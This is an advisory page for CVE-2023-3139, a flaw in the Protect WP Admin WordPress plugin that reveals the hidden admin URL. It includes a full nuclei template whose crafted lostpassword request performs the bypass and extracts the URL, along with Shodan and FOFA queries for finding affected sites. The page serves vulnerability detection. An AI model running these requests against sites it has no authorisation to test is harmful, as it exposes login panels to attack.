Protect WP Admin < 4.0 - Unauthenticated Protection Bypass

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

55%of all CVEs are less likely

Readycheck to confirm it

The Protect WP Admin WordPress plugin before version 4.0 disclosed the URL of the admin panel through the redirection of a crafted URL, bypassing the protection offered.

Impact

Unauthenticated attackers can exploit URL redirection to discover the protected admin panel URL and bypass the protection mechanism offered by the plugin.

Fix

Fixed in 4.0 or later

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/protect-wp-admin/readme.txt
Positive when: status_code == 200 and contains(body, 'Protect WP Admin') and compare_versions(version, '<= 4.0')
Send: GET {{BaseURL}}/wp-login.php?action=lostpassword&error=invalidkey
Positive when: status_code == 301 and contains(location, '?action=lostpassword&error=invalidkey')

Run it with nuclei: nuclei -id CVE-2023-3139 -u <target>

The full check

id: CVE-2023-3139

info:
  name: Protect WP Admin < 4.0 - Unauthenticated Protection Bypass
  author: popcorn94
  severity: medium
  description: |
    The Protect WP Admin WordPress plugin before version 4.0 disclosed the URL of the admin panel through the redirection of a crafted URL, bypassing the protection offered.
  impact: |
    Unauthenticated attackers can exploit URL redirection to discover the protected admin panel URL and bypass the protection mechanism offered by the plugin.
  remediation: Fixed in 4.0 or later
  reference:
    - https://wpscan.com/vulnerability/f8a29aee-19cd-4e62-b829-afc9107f69bd/
    - https://magos-securitas.com/txt/CVE-2023-3139.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3139
    cwe-id: CWE-601
    epss-score: 0.00734
    epss-percentile: 0.54744
    cpe: cpe:2.3:a:wp-experts:protect_wp_admin:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wp-experts
    product: protect_wp_admin
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/protect-wp-admin"
    fofa-query: body="/wp-content/plugins/protect-wp-admin/"
    publicwww-query: "/wp-content/plugins/protect-wp-admin/"
  tags: cve,cve2023,wordpress,wp-plugin,protect-wp-admin,unauth,wpscan,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/protect-wp-admin/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Protect WP Admin')"
          - compare_versions(version, '<= 4.0')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-login.php?action=lostpassword&error=invalidkey"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 301"
          - "contains(location, '?action=lostpassword&error=invalidkey')"
        condition: and

    extractors:
      - type: regex
        part: header
        group: 1
        name: redirect_url
        regex:
          - 'Location:([ a-z:/0-9.?=&]+)'
        internal: true

      - type: dsl
        dsl:
          - '"Protected URL:"+ redirect_url'

References

Use this check only on systems you are authorised to test. Where the data comes from